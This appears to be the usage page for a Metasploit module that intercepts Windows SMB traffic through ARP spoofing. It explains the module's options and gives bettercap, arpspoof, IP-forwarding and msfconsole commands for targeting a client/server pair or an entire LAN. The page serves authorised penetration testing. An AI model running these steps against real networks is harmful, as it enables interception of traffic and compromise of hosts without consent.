documentation/modules/exploit/windows/smb/smb_shadow.md
To be able to use exploit/windows/smb/smb_shadow, you must meet these requirements:
bettercap -I <iface> -T <smb-client-ip>,<smb-server-ip>)sudo msfconsole)use exploit/windows/smb/smb_shadowset INTERFACE <iface>set DefangedMode falserunThis must be a SMB share that the connecting user has read and write access to.
SHARE is set to ADMIN$ by default which is the standard share for the Administrator.
This must be a network interface on the local machine. The interface must be on the same network as both the SMB Client and Server.
This must be set to false to acknowledge that the module will affect your network configuration. DefangedMode is set to true by default to prevent unintentional network configuration disruptions.
This must be set to false if packet forwarding on port 445 was disabled manually. DisableFwd is set to true by default to allow the module to disable packet forwarding on port 445.
This must be set to true to have the module confirm the server supports the lowest smb version supported by the client. ConfirmServerDialect is set to false by default as the above situation is unlikely.
Active Windows Network
Follow the following steps to target all the hosts on the LAN:
bettercap -I <iface>)sudo msfconsole)use exploit/windows/smb/smb_shadowset INTERFACE <iface>set DefangedMode falserunThis module has a tendency to spawn multiple sessions due to the SMB Client retrying the connection.
This module will not finish execution by itself and should be terminated with Ctrl-C.
Follow the following steps to use arpspoof instead of bettercap on Linux:
sysctl -w net.ipv4.ip_forward=1)arpspoof -i <iface> -t <smb-client-ip> <smb-server-ip>)arpspoof -i <iface> -t <smb-server-ip> <smb-client-ip>)